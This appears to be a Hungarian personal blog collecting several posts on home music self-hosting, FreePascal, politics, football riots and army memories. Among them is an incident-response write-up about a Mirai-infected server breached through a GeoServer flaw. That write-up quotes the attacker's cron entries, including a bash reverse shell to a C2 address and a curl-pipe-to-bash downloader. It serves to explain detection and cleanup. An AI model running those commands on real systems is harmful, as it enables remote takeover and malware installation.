Ahol minden elkezdődött: a beragadt rádió

Mostanában sokat autózom, és vezetés közben kényelmes megoldás kellett a zenehallgatásra. Évekig a Spotify volt erre a kézenfekvő válasz elindítok pl. egy Tool rádiót, és megy magától. Csakhogy egy idő után feltűnt, hogy a “rádió” nem igazán rádió: nagyjából ugyanazt az ötven számot pörgeti véletlen sorrendben, újdonság alig kerül be. Ja és tök mindegy, hogy Tool vagy Metallica rádiót indítok, ugyanazok vannak mindkettőben. A Daily Mix és a Discover Weekly meg tele van olyan zenekarokkal, amiknek a felét egy perc után lekapcsolom.

Az igazság az, hogy a Spotify algoritmusa a hallgatási szokásaidhoz idomul, és ha mindig ugyanúgy hallgatsz, egyre szűkebb körben forog. Egy idő után rájöttem, hogy ez engem zavar és nem akarom, hogy egy algoritmus döntse el helyettem, mit hallgatok, és főleg nem akarok ezért havidíjat fizetni.

Régen, amikor kevesebbet utaztam, munka közben a saját NAS-omról megosztott hallgattam a zenét, desktop klienssel. Az volt az igazi: a saját gyűjteményem, a saját ízlésem, semmi ajánlóalgoritmus. Felmerült a kérdés: miért ne lehetne ezt mobilon is, autóban is?

A terv: saját zenei szerver a NAS-on

A célom egyszerű volt:

• a saját zenei gyűjteményem elérése mobilról, bárhonnan, Android Auton keresztül az autóban,
• last.fm scrobble, mert a statisztikát szeretem,
• és mindezt biztonságosan, anélkül hogy bármit kinyitnék a routeren a netre.

A gyári NAS-appok (DS audio és társaik) ezt csak félig-meddig tudják, és elég kezdetlegesek. A self-hosted streaming szerver + rendes kliens kombó viszont sokkal jobb élményt ad.

A hardver adott volt: egy Asustor AS4004T (ARM-alapú, 2 GB RAM). Nem egy erőgép, de a választott szerver elenyésző erőforrást igényel.

A három építőelem

Navidrome – a szerver

A Navidrome ma gyakorlatilag a de facto választás a self-hosted zenei streamelésre. Go-ban íródott, könnyű, gyors, Docker-image formájában fut bármilyen NAS-on, és ami a lényeg: Subsonic API-kompatibilis, ezért rengeteg jó mobilkliens létezik hozzá. Beépített last.fm (és ListenBrainz) scrobble támogatással is jön.

Mivel az SSH-t biztonsági okokból letiltottam a NAS-on (egy korábbi szerver-incidens után ez nálam alapelv lett), a teljes telepítést grafikusan, Portainer-rel oldottam meg. Az App Centralból feltettem a Docker Engine-t és a Portainer CE-t, majd a Portainer Stacks funkciójával egy docker-compose-t illesztettem be:

services:
  navidrome:
    image: deluan/navidrome:latest
    container_name: navidrome
    restart: unless-stopped
    ports:
      - "4533:4533"
    environment:
      ND_SCANSCHEDULE: 1h
      ND_LOGLEVEL: info
      ND_SESSIONTIMEOUT: 24h
    volumes:
      - /volume1/Docker/navidrome/data:/data
      - /volume1/Music:/music:ro

Két dologra érdemes figyelni: a zenei mappa útvonalát a NAS tényleges megosztásneveihez kell igazítani (a File Explorerben ellenőrizhető), a :ro pedig azt jelenti, hogy a Navidrome csak olvassa a zenét – ez biztonsági szempontból jó, érdemes rajta hagyni.

Deploy után a böngészőből a http://<NAS-IP>:4533 címen jött a kezdő admin-fiók beállítása, majd a szerver szépen elkezdte beszkennelni a gyűjteményemet. Az ARM CPU-n az első scan eltart egy darabig, de utána már csak inkrementálisan dolgozik.

Tailscale – a biztonságos elérés

Hogy autóban, mobilneten is elérjem a NAS-t, kellett valamilyen kapcsolat kívülről. A klasszikus út a DDNS + portforward lenne, de ezt szándékosan kerültem: nem akarok portot nyitni a netre. Helyette a Tailscale jött, ami egy WireGuard-alapú mesh VPN.

A lényege, hogy a gépeid (a NAS és a telefon) egy privát hálózatba (tailnet) kerülnek, mindegyik kap egy fix 100.x.y.z címet, és úgy érik el egymást, mintha egy LAN-on lennének portnyitás nélkül. Az Asustornál van rá natív App Central-os csomag, szóval szintén grafikusan, terminál nélkül telepíthető.

Egy fontos tanulság a setup közben: az első indítás után a NAS Tailscale-kliense egyszer kiesett a kapcsolatból (az admin felületen szürke pötty jelezte), és emiatt nem tudtam csatlakozni. Újraindítás és újbóli bejelentkezés után rendben volt. Hogy ez ne ismétlődjön hónapok múlva, a Tailscale admin felületén (Machines → a NAS sora → ... → Disable key expiry) kikapcsoltam a kulcs lejáratát a NAS-ra. Így nem fog magától “kiesni” egy idő után.

Symfonium – a kliens

A kliens oldalon a Symfonium (Android, fizetős, pár euró) lett a befutó, és bőven megérte. Subsonic-kompatibilis, így problémamentesen csatlakozik a Navidrome-hoz. A beállítás: a szerver típusa Subsonic, a cím a NAS Tailscale-IP-je (http://100.x.y.z:4533), majd a Navidrome-ban létrehozott felhasználónév és jelszó.

Amit a Symfonium tud, és amiért a gyári app meg sem közelíti:

• Android Auto támogatás – ez volt a kulcs, hiszen a Spotify-t is így hallgattam a kocsiban.
• Gapless lejátszás, ReplayGain, és minden, amit egy igényes lejátszótól elvársz.
• Offline letöltés is van benne, ha mégis kellene – nálam ritkán fordul elő, hogy ne lenne net az úton, úgyhogy alapból streamelek a NAS-ról, de jó tudni, hogy a lehetőség adott.

A last.fm-kérdés: itt jött a Pano Scrobbler

A scrobble volt az utolsó hiányzó láncszem, és itt akadtam el. Elvileg a Symfonium tud last.fm scrobble-t, de nem tudtam beállítani.

A megoldás végül egy dedikált scrobbler-app: a Pano Scrobbler lett. Ez nem a Symfonium belső logikájára támaszkodik, hanem az Android media-session alapján figyeli, mi szól éppen, és önállóan küldi a scrobble-t a last.fm-re. Mivel a Symfonium media-sessiont használ (ez alapból be van kapcsolva), a Pano gond nélkül “kihallja” belőle a lejátszást.

A beállítás egyszerű: telepíted a Pano Scrobblert, bejelentkeztetek a last.fm-fiókoddal, az alkalmazáslistában engedélyezed a Symfoniumot, és onnantól ami a Symfoniumban szól, az felkerül a last.fm-re. Fontos: ha a Pano-t használod scrobblerként, a Symfonium saját last.fm-összekötését hagyd kikapcsolva, különben dupla scrobble lenne belőle. Streamelésnél ez stabilan működik, és az első időkben azért érdemes ránézni a profilodra, hogy tényleg minden felkerül-e.

Az eredmény

A teljes lánc tehát:

saját NAS → Navidrome → Tailscale → Symfonium → Android Auto → Pano Scrobbler → last.fm

Pontosan az az élmény, ami a desktop lejátszókkal megvolt/megvan munka közben, csak most mobilon, az autóban is Android Auton keresztül, bárhonnan. Ahogy korábban a Spotify-t is ezen át hallgattam, csak most a saját gyűjteményemet streamelem a NAS-omról – a saját ízlésem, semmi ajánlóalgoritmus, semmi havidíj –, és mindezt biztonságosan, a netre nyitott port nélkül.

Pár dolog, amit érdemes az elején elintézni a tartós nyugalomért: a Tailscale key expiry kikapcsolása a NAS-on, az automatikus indítás ellenőrzése (hogy újraindítás után magától visszajöjjön), a NAS energiagazdálkodásának áttekintése (hogy ne aludjon el a szerver), és persze egy rendes, erős jelszó a teszteléshez használt ideiglenes helyett.

Az első beállítás kicsit döcögős volt – ez a self-hosting velejárója –, de utána ez egy “beállítom és elfelejtem” rendszer lett.

🤘

Van egy műfaj, amit ritkán szokás komolyan venni: a háttérzene. Pedig aki napi nyolc órát tölt kód, szkript vagy egy makacs algoritmus társaságában, az tudja, hogy a rossz zene ugyanúgy elvonja a figyelmet, mint a csend hiánya. Az Anthropic most csinált ehhez egy saját adót: a Claude FM-et.

Mi ez pontosan?

Egy folyamatos, élő YouTube-stream. A mottója kerek: music for thinking and building - zene gondolkodáshoz és kódolshoz. A koncepció nem bonyolult: megnyomod a lejátszást, és dolgozol tovább. A zenét nem algoritmus köpte ki, hanem zenészek készítették és válogatták.

Elérhető rövid linken: clau.de/radio

Miért működik ez munka közben?

A trükk az, amit nem csinál. Nincs benne dalszerkezet, ami után kapna a füled. Nincs refrén, amit elkezdenél dúdolni a harmadik ismétlésnél. Nincs szöveg, ami a nyelvi agyterületeidért versenyezne azzal, amit éppen írsz vagy olvasol. Marad egy folyam, ami betölti a teret, de nem kér semmit cserébe.

Ez pont az ellentéte annak, amihez az ember szórakozásból nyúl. Egy rendes album arra van kitalálva, hogy figyelj rá. A Claude FM arra, hogy elfelejtsd, hogy szól.

Kinek való?

Annak, aki “deep work” üzemmódban dolgozik: programozás, írás, bármi, ami megszakítatlan koncentrációt kíván. Mivel élő stream, nincs playlist-menedzsment, nincs “mi legyen a következő” döntés - csak megy.

Egy figyelmeztetés a metálos népnek: ez nem a Pantera. Ha a munkához is erősítő kell, ez csalódás lesz. De érdemes szétválasztani a két funkciót: a metál a motivációhoz, a vér felpörgetéséhez jó. Ez a koncentrációhoz. Más üzemmód, más eszköz.

Megéri kipróbálni?

Egy kattintás, nulla telepítés, nulla fiók. Ha a következő melónál úgyis kell valami a háttérbe, ennél olcsóbban nem fogsz kísérletezni. Vagy bejön, vagy nem - de a belépési költség gyakorlatilag nulla.

Idén is tele a Hacker News meg a Reddit a Rusttal, a Pyhtonnal és a Góval. Én meg itt ülök, és egy érett, több tízezer soros desktop alkalmazást fejlesztek FreePascalban - és nem érzem, hogy lemaradtam volna bármiről. Azt is megmondom, hogy miért.

Olyan nyelv, ami nem akar állandóan tanítani

A Pascal szintaxisa jól olvasható, explicit, és nem változik félévente. Amit öt éve írtam, az ma is fordul. Nincs “edition”, nincs breaking change minden minor verzióban. A kód, amit írok, az enyém marad - nem kell utánaszaladni a nyelvnek.

Lazarus: az IDE, amit nem kell összerakni

A Rust/Go világban a tooling sokszor “összerakós”: szerkesztő + plugin + debugger, mindenki a saját ízlése szerint. A Lazarus egy komplett RAD környezet dobozból. Form designer, integrált debugger, cross-compilation - működik. Egy desktop GUI app nálam órák, nem hetek kérdése.

Egyetlen self-contained bináris, futásidejű függőség nélkül

Lefordítom, és kapok egy natív futtathatót. Nincs runtime, nincs “telepítsd hozzá ezt a 200 MB-ot”. A felhasználó letölti, elindítja, kész. Bárki, aki valaha támogatott ügyfélnél futó szoftvert, tudja, mennyit ér ez.

Oké, ebben van egy kis ferdítés, ugyanis csak Windows alatt nem függ a keretrendszertől. A Linux az más tészta. A GUI appokhoz alapból gtk2-t használ, ami őszintén szólva már nem számít modern widhetsetnek, ezért előfordulhat, hogy újabb disztrókon kissé retró megjelenésűek ezek a programok. A gtk3 támogatás ott tart, hogy úgy lett gtk4, hogy a Lazarus még a gtk3-at nem támogatja teljes körűen. Állítólag qt5 meg a qt6 szépen megy, de azt meg én nem kedvelem. A Linux desktop fragmentálsága GUI app fejlesztői szempontból megérne egy külön posztot.

Valódi cross-platform, fájdalom nélkül

Ugyanaz a kódbázis fordul Linuxon, Windowson és macOS-en. A saját bőrömön tapasztaltam, hogy ez mennyivel kevesebb szívás, mint amire számítottam.

Teljesítmény, amiért nem kell megküzdeni

Natívra fordul, és gyors. Nagy adathalmazok, számításigényes algoritmusok, valós idejű feldolgozás — nem a nyelv a szűk keresztmetszet. És amikor tényleg számít a sebesség vagy a memóriaigény, ott a pointer és a manuális kontroll - anélkül, hogy a borrow checker minden sorba beleszólna.

Stabilitás mint feature

A Pascal “unalmas”. Ez a legnagyobb dicséret, amit adhatok neki. Nem kell a nyelv divatját követni; lehet a problémára koncentrálni. Egy üzleti termék mögött ez az igazi érték: tíz év múlva is karbantartható lesz.

Rust, Python, Go?

Hogy fair legyek: a Rust memóriabiztonsága zseniális rendszerszintű kódhoz, és tényleg írtam benne számításigényes programokat - élveztem. A Go a konkurens hálózati szolgáltatásokban verhetetlen. A Python pedig adatfeldolgozásra, prototípusozásra, gyors scriptelésre továbbra is utolérhetetlen. Egyik sem rossz nyelv. Csak nem minden probléma rendszerprogramozás, felhőszolgáltatás vagy egyszeri script. Egy asztali, számításigényes, hosszú életű alkalmazáshoz a FreePascal nálam ma is a racionális választás — nem nosztalgiából, hanem mérnöki döntésből.

Itt jut eszembe, miért is értékelem annyira a Pascal stabilitását. A Python 2-ről 3-ra való átállás évekig tartó fejfájás volt: a print utasításból függvény lett, a stringkezelés (str vs. unicode) a feje tetejére állt, az egész osztás máshogy működött, a dict metódusok visszatérési értéke megváltozott. Régi kódbázisok éveken át ragadtak a 2-esen, miközben a 3-as körül épült az új ökoszisztéma. Aki átélte, az tudja: egy néhány soros script átírása még megvolt, de egy nagy, élő alkalmazás migrálása komoly projekt volt - tesztekkel, 2to3-mal, és sok káromkodással. Pont az ilyen törések miatt értékelem, hogy a Pascalban a tíz éve írt kódom ma is változtatás nélkül fordul.

A hype elmúlik. A kód marad. Én olyan eszközt akarok, ami tíz év múlva is ott lesz, fordul, és nem kér tőlem cserébe semmit. 2026-ban ez nekem a FreePascal + Lazarus.

Az auth.log percenként ismétlődő sorokkal volt tele:

CRON[xxxx]: pam_unix(cron:session): session opened for user tomcat8 by (uid=0)
CRON[xxxx]: pam_unix(cron:session): session closed for user tomcat8

Első ránézésre ez teljesen normális: ha egy felhasználónak van percenként futó cron-jobja, a PAM minden futáshoz logol egy opened/closed párt. A (uid=0) is csak annyit jelent, hogy a cron démon (root) indítja a jobot az adott felhasználó nevében. Semmi vészjósló.

Aztán megnéztem, mi az a percenként futó job.

A pillanat, amikor a gyomrom összeszorult

crontab -u tomcat8 -l

A kimenet önmagáért beszélt:

* * * * * bash -c 'bash -i >& /dev/tcp/<C2-IP>/4444 0>&1'
* * * * * /tmp/.XIN-unix/<binary> || curl -sL <IP>/setup | bash
* * * * * /tmp/test.sh

Három klasszikus rosszindulatú minta egy helyen:

• Reverse shell — percenként megpróbál visszacsatlakozni a támadó gépére, és teljes parancssort adni neki.
• Elrejtett bináris futtatása egy .XIN-unix nevű mappából (a legitim .X11-unix / .ICE-unix rendszermappák utánzása), tartalék letöltővel egy másik IP-ről.
• Egy harmadik, ismeretlen szkript.

Ekkor vált világossá: a szerver kompromittált.

Az első szabály: ne ess pánikba, de cselekedj sorrendben

Egy kompromittált gépnél a sorrend számít. A hálózati elszigetelés jön először, mert amíg a reverse shell él, a támadó valós időben tud reagálni arra, amit csinálsz.

1. Vágd el a kifelé menő kapcsolatot. Blokkold a támadó IP-ket és a reverse shell portját:

iptables -A OUTPUT -d <C2-IP> -j DROP
iptables -A OUTPUT -p tcp --dport 4444 -j DROP

2. Ments bizonyítékot, mielőtt bármit törölnél. A kapkodva törölt malware elemezhetetlen:

mkdir -p /root/incident-evidence
crontab -u <user> -l > /root/incident-evidence/cron.txt

3. Csak ezután kezdj takarítani.

A nyomozás: mit látsz, és mit jelent

A következő lépés annak felmérése volt, mi fut és mihez kapcsolódik:

ss -tnp | grep ESTAB
ps aux --sort=-%cpu | head -20

Itt egy fontos buktató. A process-listán szerepelt egy [kdevtmpfs] nevű elem — ez valódi kernel-folyamat (a szögletes zárójel a jele), nem szabad összekeverni a kdevtmpfsi nevű, ehhez szándékosan hasonlító bányász-malware-rel. A támadók pont arra építenek, hogy a védekező összezavarodjon a nevek hasonlóságától.

Az aktív kapcsolatok vizsgálatakor előkerült egy gyanús folyamat, ami egy ártalmatlan rendszerdémonnak álcázta magát. A lsof és az ss egy álnevet mutatott, miközben a tényleges futtatható fájl a /tmp-ből futott:

ls -la /proc/<pid>/exe   # -> /tmp/<binary>
cat /proc/<pid>/cmdline  # a meghamisított név

Tanulság: mindig a /proc/<pid>/exe valódi célját nézd, ne a process nevét. Az utóbbi hazudik.

A belépési pont megtalálása

A kulcskérdés mindig ez: hogyan jutottak be? A cron-jobok mind ugyanazon felhasználó nevében futottak — egy Java alkalmazásszerver szolgáltatás-felhasználója nevében. Ez azonnal egy publikus webalkalmazásra terelte a gyanút.

A webapps könyvtárban ott volt a felelős: egy több éves, elavult GeoServer-telepítés. A GeoServer egy nyílt forráskódú térinformatikai szerver, és sajnos népszerű célpont, mert gyakran publikusan elérhető, és több súlyos, autentikáció nélküli távoli kódfuttatási (RCE) sebezhetősége is ismert.

A konkrét bűnös a CVE-2024-36401 volt — egy 9.8-as CVSS-pontszámú kritikus hiba. A lényege: a GeoServer a kérések property-neveit XPath-kifejezésként értékeli ki egy olyan komponenssel, amit eredetileg csak komplex adattípusokhoz szántak, de tévesen az egyszerű típusokra is alkalmaztak. Ez lehetővé teszi, hogy a támadó speciálisan formázott kéréssel kódot futtasson — bejelentkezés nélkül, számos gyakran nyitott OGC-végponton keresztül (WMS, WFS, WPS).

A foltozás dilemmája: amikor nem frissíthetsz

Itt jött a nehéz rész. A szerveren kritikus szolgáltatások múltak a GeoServeren, így nem lehetett csak úgy leállítani. A frissítés pedig azért volt kockázatos, mert az újabb GeoServer-verziók újabb Java-t igényelnek, ami az elavult operációs rendszeren láncreakciót indított volna el.

Szerencsére a GeoServer fejlesztői verziófrissítés nélküli hivatalos megkerülő megoldást is kiadtak: a sebezhető modul (gt-complex-x.y.jar) eltávolítását a WEB-INF/lib könyvtárból. Ez megszünteti a sebezhető kódot.

A kulcskérdés: megtörik-e ettől valami? A gt-complex modul a komplex (app-schema) adattípusokhoz kell. Ha a szerver csak egyszerű forrásokat szolgál ki — például shapefile-okat —, akkor ezt a funkciót biztosan nem használja, és az eltávolítás észrevétlen marad. A biztonságos eljárás:

# 1. Mentsd a JAR-t a webapps-on KÍVÜLRE (hogy a restart ne olvassa vissza)
cp <pathto>/gt-complex-*.jar /root/backup/

# 2. Töröld és indítsd újra
rm <pathto>/gt-complex-*.jar
systemctl restart <tomcat-service>

# 3. Ellenőrizd, hogy felállt és a rétegek válaszolnak
# Ha bármi eltörik: másold vissza a JAR-t a backupból, és újraindít.

A leglényegesebb biztonsági elv viszont ez volt: a sebezhetőség azért kihasználható, mert a szolgáltatás közvetlenül elérhető az internet felől. Ha a támadó nem éri el a sebezhető végpontot, a hiba gyakorlatilag kihasználhatatlanná válik — anélkül, hogy magához az alkalmazáshoz hozzányúlnál. Ezért a tűzfalszintű hozzáférés-korlátozás (csak ismert kliens-IP-k, vagy VPN mögé helyezés) gyakran hatásosabb és kockázatmentesebb, mint maga a foltozás.

A csavar: a malware visszatért restart után

A gt-complex eltávolítása után az alkalmazás szépen felállt. De a szolgáltatás állapotának ellenőrzésekor a process-fában ott volt egy idegen elem — egy /tmp-ből futó bináris, ami a szolgáltatás cgroupjában indult újra.

Ez a tanulság, amit nem lehet elégszer hangsúlyozni: egy kompromittált gépen a látható tünet ritkán a teljes kép. A cron törölve volt, de egy korábban már elindított folyamat túlélte, vagy a deploy hozta vissza. A binárist kimentettem bizonyítéknak, majd leállítottam, és töröltem magát a fájlt is, hogy ne legyen mit újraindítani.

Mi volt ez valójában?

A kimentett bináris SHA256 hash-ét feltöltöttem a VirusTotal-ra (fontos: a hash-t, nem feltétlenül magát a fájlt). A találat: egy Mirai-botnet variáns, becsomagolt formában.

Ez érdekes részlet. A Mirai eredetileg IoT-eszközöket fertőző, DDoS-támadásokra szakosodott botnet volt, amelynek forráskódja 2016-ban kiszivárgott. Azóta számtalan leszármazottja terjed, amelyek már szervereket is céloznak sebezhető webalkalmazásokon keresztül, és gyakran hibrid működésűek: DDoS és kriptobányászat egyszerre.

A gyakorlati jelentősége: a szerver egy botnet tagjává vált, amit távolról vezéreltek. Nemcsak áldozat volt, hanem potenciálisan eszköz is mások károsítására. A jó hír, hogy a Mirai-variánsok jellemzően nem mélyen beásó rootkitek — memóriából, /tmp-ből futnak, és újraindításkor egy letöltő hozza vissza őket. Pont ezért működött a tünetek kezelése: a cron törlése, a bináris eltávolítása és az RCE-út lezárása együtt elvágta az újraindulás láncát.

Az átmeneti védőháló: egy egyszerű watchdog

Mivel a végleges megoldás (tiszta rendszerre költözés) hetekbe telik, készítettem egy egyszerű, rootból futó watchdog-szkriptet az átmeneti időre. Ez 5 percenként ellenőrzi a már ismert fertőzés-jeleket: gyanús nevű folyamatokat (a tényleges exe-célt is vizsgálva, nem csak a hamis nevet), kapcsolatokat az ismert C2-címekhez, futtatható fájlokat a temp-könyvtárak tetején, és a szolgáltatás-felhasználó cronjának újra-megjelenését. Ha talál valamit, leállítja, karanténba teszi (nem törli — bizonyítéknak), és naplóz.

Fontos viszont reálisan kezelni: egy ilyen watchdog a már ismert fertőzés visszatérését fékezi, nem páncél. A hálózati hozzáférés-korlátozás fontosabb nála, mert az a betörést akadályozza meg, nem csak a tünetet kezeli.

Miért nem elég a takarítás?

A vizsgálat során kétszer is kiderült, hogy a látható tünet alatt volt még valami: előbb eltűnt /tmp-payloadok, amelyeket a cron újratöltött volna, majd egy aktív, álcázott botnet-folyamat. Ez a minta pontosan az, amiért egy kompromittált gépet nem lehet megbízhatóan „kitakarítani”. Sosem tudhatod biztosan, hogy az utolsó komponenst is megtaláltad-e.

A helyes, végleges megoldás ezért: a szervert tiszta alapokról újraépíteni. A mi esetünkben ez azt jelenti, hogy egy frissen telepített, támogatott operációs rendszerre, aktuális szoftververziókkal, csak az adatok kerülnek át — nem futtatható fájlok, nem teljes lemezképek. Mivel a szolgáltatott rétegek shapefile-ok voltak, ez a migráció valójában egyszerű: az adatkönyvtár hordozható a verziók között.

A tanulságok dióhéjban

1. Ne hagyj internet felé nyitva elavult szoftvert. A legtöbb betörés ismert, befoltozott sebezhetőségeken keresztül történik. Egy több éves verzió nyitott porton meghívás a bajra.

2. A hálózati hozzáférés-korlátozás gyakran többet ér a foltozásnál. Ha valami nem kell publikusan, ne legyen publikus — tűzfal vagy VPN mögé vele.

3. Bizonyíték először, törlés utána. A kapkodva eltüntetett malware nem mond el semmit arról, mi és hogyan történt.

4. A nevek hazudnak. A process-álcák, a legitim rendszerelemekhez hasonló elnevezések szándékosak. Mindig a tényleges futtatható fájl útvonalát és a hash-ét nézd.

5. A tünet nem a betegség. A futó folyamat leállítása nem azonos a fertőzés megszüntetésével. Keresd a belépési pontot és a perzisztencia-mechanizmusokat.

6. Egy kompromittált gép a megtisztítás után is gyanús marad. A végleges nyugalom egyetlen forrása a tiszta újraépítés.

Az incidens kezelése néhány óra alatt megtörtént, és a szerver azóta stabil. De a tényleges lezárás nem a malware leállítása volt — hanem a döntés, hogy az egész stacket frissen, tiszta alapokról építjük újra. A többi csak tűzoltás.

Ha hasonló helyzetbe kerülsz: a sorrend mindig az elszigetelés, a bizonyíték-mentés, a nyomozás, majd a végleges újraépítés. És ne feledd — a foltozás sürgős, de a megelőzés (naprakész szoftver, zárt hálózat, minimális támadási felület) olcsóbb minden tűzoltásnál.

La situation dégénère près du Parc des Princes après la victoire du PSG.

Plusieurs départs de feux. Charge de la police pour faire intervenir les pompiers.#PSG #PSGARS #Arsenal #UCLfinal #Paris pic.twitter.com/30fCdZcfTV

— Luc Auffret (@LucAuffret) 2026. május 30.

Ja, hogy az a francia nem is igazi francia, hanem valami új-francia.

De egyébként tényleg nem értem az ok okozati összefüggés. Az ő csapatuk nyert (büntetőkkel) a BL döntőn, miért kell ezért szétverni a fél várost? Mi lett volna, ha az Arsenal nyer?

A franc se érti már ezt a világot :/

Ugye, nem?

Szerettem a Drupalt és valamennyire értettem is hozzá. A újabb verzióra migráláshoz nem volt kedvem, mert a tárhelyen csak egyféle PHP verziót lehet használni, az újabb Drupalnak meg újabb kell. Ha átállítom friss PHP-re az összes régi oldal ami a tárhelyről megy elpusztul. És azok jellemzően olyanok, ahol nem igazán engedhető meg efféle kiesés. Meg hát időm se lett volna rá.

Mivel elég sokat dolgozom GitHubon meg Markdown fájlokkal, kézenfekvőnek tűnt, hogy a GitHub Pages + Jekyll kombinációval hozzak létre egy új oldalt. Marhára egyszerű a dolog. Minden poszt egy Markdown fájl, aminek az elején egy speciális fejléc a front matter ül. Ennek a posztnak ez a fejléce.

---
title: "GitHub Pages + Jekyll"
date: 2026-05-31 13:23:27 +0200
tags: [GitHub, Jekyll]
header:
  teaser: https://github.com/user-attachments/assets/ef80f634-0b38-474d-b40f-8593aae6e1c4
comments: true
published: true
---

Ez a fájl tartalmazza a poszt címét, dátumát, címkéit, bevezetőjét, stb. De, hogy még ezen se kelljen gondolkodni az Actions-ben létrehoztam egy Workflow-t, ami a megadott paraméterek alapján létrehoz egy üres poszt vázat, amit csak át kell írni, commit, push, és pár másodperc alatt lefut a deployment és már meg is jelent a poszt.

Nem nagy varázslat, aki akarja klónozza le a falu/falu.github.io repót, benne van minden.

Azt is mondhatnám, hogy mindenre számítottam, de erre nem.

Van egy olyan érzésem, hogy Orbán durván berakott mindenkit a hintába és “abszolut filmszínház” az egész műsor. Az emberek nem akarták már Orbánt, hát kaptak helyette narcisztikus idiótát. Ez majd valószínűleg jobb lesz. Az egészben az az elképesztő, hogy mindegy, hogy ki, mindegy, hogy milyen áron csak ne az Orbán legyen. 16 év gyűlöletkeltése ide vezetett.

Oké, elismerem, voltak bajok a Fidesz-KDNP-vel és a NER-rel. És ezt ők is tudták jól. Tudniuk kellett. Tudták azt is, hogy ez így nem mehet tovább valahogy le kell választaniuk magukról a NER-t. Erre viszont a legfájdalommentesebb megoldás az, ha ezt (látszólag) nem ők hajtják végre. Orbán hátra dől, és élvezi a műsort, ahogy Bütyök elvégzi a piszkos munkát.

Igen, lesz ára, következménye, de ez még a kisebbik rossz. A Fidesz közben szépen csendben megújul és ha kell félreállítja a MP-t. Láttunk már ilyet: MP -> GyF -> BG.

Idő kell mindenhez és türelem. Ezt a filmszínházasdit nem lehet a végtelenségig játszani, nem lehet büntetlenül úgy csinálni, mintha kormányoznának.

Na mindegy is. Egy pozitív dolog legalább van a dologban: sikerült eltakarítani a baloldalt a parlamentből. 36 évbe telt, de a magyarok végül beismerték, hogy semmi szükség rájuk. Micsoda? Hogy a tiszások baloldaliak lennének? Igaz van köztük pár baloldalhoz köthető arc, de ezek olyanok, hogy oda dörgölőznek, ahonnan hasznot remélnek. Azt sem lehet mondani rájuk, hogy jobboldali, konzervatív alakulat lenne. Leginkább valami centrista, liberális mosléknak tűnik ez az egész.

Ha jól tudom akkor ebből kb. semmi nem lett, vagy max 1–2 emberke került át máshová a kiképzés után, ugyanis a kilenc hónapot mind’ Szombathelyen nyomtuk le. A kiképzés után viszont tényleg szétdobáltak minket, de csak a laktanyán belül. Volt aki a kiképzésben maradt, volt akit átraktak az ellátóba, én a törzs századhoz kerültem, plusz beraktak a dísz szakaszba, mert pont 180 centi vagyok.

Elvileg én is a kiképzőkhöz kerültem volna, de a rajparancsnoki vizsga(!) előtt egy héttel fölmondott és leszerelt a térképész tiszt. Rajtam kívül még nem tudtak mást leakasztani, aki konyít valamennyit a térképekhez.

Ki is vettek a kiképzésből, átraktak a törzsbe. Az volt a dolgom, hogy a rajpk vizsgához készítsek mindenféle útvonal meg elhelyezési térképeket katonai topográfiai térképekből 3x2 m-es táblákra. Olló, ragasztó, vonalzó, némi kézügyesség és jó sok színes filctoll kellett hozzá. Nekiálltam, amikor készen lettem egyel, akkor mondtam, hogy kellene még valaki, mert akárhogy számolom, nem lesz meg határidőre. Természetesen nem kaptam segítséget, úgyhogy más dolgom nem lévén csak aludni meg enni mentem ki a parancsnoki épületből. Gyakorlatilag napi 12–18 órát dolgoztam. De nem nagyon érdekelt, mert az volt a motiváció, hogy ha kész leszek, akkor maradhatok valami írnok a pk épületben, vagy mivel nem vizsgázhatok mert nincs meg a kiképzésem, nem kapok csillagot, mehetek az őr századba. Na hát ez a banda volt a legalja söpredék, nem akartam ide kerülni.

A határidő előtti délután elkészült az utolsó is. Kérdezte a főnök, a hadműveleti tiszt, hogy azért elmegyek-e velük holnap a Bakonyba. Visszakérdeztem, hogy kapok-e csillagot (ami ugye a zsold miatt nem volt mindegy), mire azt válaszolta, hogy higgyem el, jobban járok, ha nem leszek tisztes, mert azokat leszerelés után időnként vissza fogják rángatni ilyen-olyan kiképzésekre. Hát jó, mondtam, akkor holnap inkább aludnék egy nagyot.

Így is lett. A törzs pk természetesen nem hagyott aludni. ugyanúgy ki kellett mennem sorakozni. Utána visszamentem a körletbe és aludtam tovább.

A vizsga után viszont kiemeltek a törzsből és áttettek a hadműveletre írnoknak. Mivel a hadműveleten előttem nem volt még egyetlen sorállományú sem, az elhelyezésemmel volt egy kis gond, ugyanis nem tartozott hozzájuk körlet. A tiszti szállóra mégsem rakhattak, ezért inkább a törzs századnál kaptam egy külön kis szobát. Eddig is utált a törzs pk, de innentől kifejezetten tüske lettem a körme alatt, ugyanis akkor jöttem-mentem, amikor akartam, és mivel a létszámába sem tartoztam bele, sorakoznom sem kellett. A legnagyobb poén az volt, hogy a törzsből vittem embereket a parancsnoki épületet takarítani. Ezek a fickók meg mind tisztesek (őrvezető, tizedes, szakaszvezető) voltak. Na de a parancs, az parancs.

Mostantól ide fogok írogatni ezt-azt.

Sokkal könnyebb, egyszerűbb.

Lesz itt minden: kütyük, linux, programozás, politika, zene, meg minden ami engem érdekel.

Ez is egyfajta rendszerváltás. Mostantól ellenzékben nyomom.

Rendszeresség? Eddig sem volt, ezután sem lesz. Ahogy Tóni sem fizetett egy vasat sem úgy, a Márk sem fog.